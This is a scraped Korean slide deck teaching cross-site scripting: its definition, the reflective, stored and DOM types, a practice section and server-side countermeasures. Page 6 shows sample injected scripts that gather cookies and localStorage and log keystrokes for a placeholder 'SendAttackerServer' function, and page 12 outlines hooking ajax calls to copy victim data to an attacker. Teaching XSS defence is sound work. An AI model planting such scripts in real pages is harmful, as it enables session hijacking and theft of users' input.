19
XSS 를 .araboza 실실실 실실 실실실 Cross Site Scripting [email protected] 실실실 Cross-Sit e Scripting XSS 를를를를 를를를 . 를를를를 를를를 를를를 .

XSS 에 대해서 알아보자. [실습 포함]

  • Upload
    -

  • View
    417

  • Download
    1

Embed Size (px)

Citation preview

Page 1: XSS 에 대해서 알아보자. [실습 포함]

XSS 를 .araboza실습을 통해 배우는 Cross Site Scripting

[email protected]조용진

Cross-Site Scripting

XSS 어디에나 있지만 .어디에도 있으면 안된다 .

Page 2: XSS 에 대해서 알아보자. [실습 포함]

1. XSS 의 정의

2. XSS 의 유형

3. XSS 의 사례 및 실습

4. 대처방안

Page 3: XSS 에 대해서 알아보자. [실습 포함]

2. XSS 의 유형

XSS 가 뭘까요 -?

Page 4: XSS 에 대해서 알아보자. [실습 포함]

1. XSS 의 정의

사이트간 스크립팅 , 크로스 사이트 스크립팅 영문 명칭 Cross-Site Scripting 은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹 사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입 할 수 있는 취약점 . (Wikipedia : 크로스사이트 스크립팅의 정의 )

Page 5: XSS 에 대해서 알아보자. [실습 포함]

1. XSS 의 정의

Page 6: XSS 에 대해서 알아보자. [실습 포함]

악성스크립트 ? http://likemilk.fun25.co.kr:15405/ 삽입 script 1

console.log(document.cookie);console.log(document);console.log(localStorage);Var hijecking = {};hijecking.cookie = document.cookie;hijecking.document = document;hijecking.localStorage = localStorage;

// 알아서 코딩 .. ㅎㅎ ;SendAttackerServer(hijecking);

삽입 script 2Var input=“”;$(document).on(‘keyup’,function(event){ input+=event.key; console.log(input); input=input.replace(‘Backspace’); // 등등… });

// 알아서 코딩 ㅎㅎ ;$(document).on(‘click’,function(event){ SendAttackerServer(input);});

1. XSS 의 정의

Page 7: XSS 에 대해서 알아보자. [실습 포함]

2. XSS 의 유형

XSS 유형에 대해 알아보아요 -!

Page 8: XSS 에 대해서 알아보자. [실습 포함]

Reflective XSS

공격자가 악성 스크립트가 포함된 URL 을 클라이언트에게 노출시켜 클릭하도록 한다 .

Stored XSS

데이터 베이스에 악성 스크립트를 저장하여 클라이언트 브라우저에서 실행 시키게 하는 공격

DOM XSS클라이언트에서 수신받은 문서를 공격자가 의도한 문서로 조작한다 .

2. XSS 의 유형

Page 9: XSS 에 대해서 알아보자. [실습 포함]

Reflective XSS

2. XSS 의 유형

Page 10: XSS 에 대해서 알아보자. [실습 포함]

1. 순수한 스트리밍 x 동사이트인줄 알고 클릭했더니 악성 Ac-tive X 가 설치됨 2. 이상한 사이트를 접속했더니 바탕화면에 바로가기가 설치된다거나 이상한 사이트가 즐겨찾기됨3. 유용한 유틸리티 다운받을 수 있는 URL 이라 선택했는데 다운받고 나니 악성프로그램 .

4. 악성 플래쉬 소스를 이용한 웹페이지를 열람하게됨 .

Reflective XSS

공격자가 악성 스크립트가 포함된 URL 을 클라이언트에게 노출시켜 클릭하도록 한다 .

2. XSS 의 유형

Page 11: XSS 에 대해서 알아보자. [실습 포함]

Stored XSS

2. XSS 의 유형

Page 12: XSS 에 대해서 알아보자. [실습 포함]

1. 게시판에 악성 스크립트를 삽입한 글을 남기고 다른 사용자가 해당 게시글을 읽었을 경우 악성 스크립트가 실행되게 된다 .

2. 저장된 악성스크립트에 특정 돔객체의 event 를 조작하는 스크립트를 삽입하여 악성스크립트를 실행하게 한다 .

3. XmlHttpOpen,$.ajax, $.get, $.post 객체의 Even-tEmitter 를 이용하여 공격자의 서버에도 피해자의 발생 데이터를 같이 받아볼 수 있도록 한다 .

Stored XSS데이터 베이스에 악성 스크립트를 저장하여 클라이언트 브라우저에서 실행 시키게 하는 공격

4. 서버에서 문자열 치환 작업을 역 이용해서 스크립트를 삽입하거나 , 문자열의 인코딩을 아예 변환한 악성 스크립트를 저장하도록 한다 .

2. XSS 의 유형

Page 13: XSS 에 대해서 알아보자. [실습 포함]

DOM XSS

2. XSS 의 유형

Page 14: XSS 에 대해서 알아보자. [실습 포함]

DOM XSS

클라이언트에서 수신받은 문서를 공격자가 의도한 문서로 조작 한다 .

1. 클라이언트가 읽을 수 있는 파라메터 값을 타인이 만들어서 넣을 수 있는 기능이 있을 때 발생할 수 있다 . 예 : ( 친구의 이름 :( 이름에다가 악성스크립트를 넣을 때 )

2. 서버에서 클라이언트에게 뿌리는 값이 다른 클라이언틀에 의해 만들어지는 모든 입출력 데이터는 XSS 필터를 거치고 난 후에 출력 될 수 있도록 해야한다 .

2. XSS 의 유형

Page 15: XSS 에 대해서 알아보자. [실습 포함]

3. XSS 의 실습

실습을 해보아요 -!

Page 16: XSS 에 대해서 알아보자. [실습 포함]

3. XSS 의 실습

https://namu.wiki/w/XSS http://egloos.zum.com/keep/v/1030642 HTML 특수문자 인코더

Page 17: XSS 에 대해서 알아보자. [실습 포함]

4. 대처방안

막아볼까요 -?

Page 18: XSS 에 대해서 알아보자. [실습 포함]

4. 대처 방안

Server-Side 에서 XSS 필터를 구현하자

외부 플러그인 및 라이브러리를 적용시킬 때 SQL Injection 및 XSS 에 대한 성능을 자가진단으로 테스트해본다 .

개인정보 및 운영 정보는 Client-Side 에 저장 시키는것을 지양한다 .

[< > “ ‘ ; : ` ! @ # $ % & * | \ ( ) { } ]위와 같은 문자열을 치환해서 사용하도록 하자 .

Page 19: XSS 에 대해서 알아보자. [실습 포함]

Refernceshttp://gudgud92.tistory.com/31

http://best421.tistory.com/63

http://cleverdj.tistory.com/51

https://namu.wiki/w/XSS

http://www.kisa.or.kr/uploadfile/201312/201312161355109566.pdf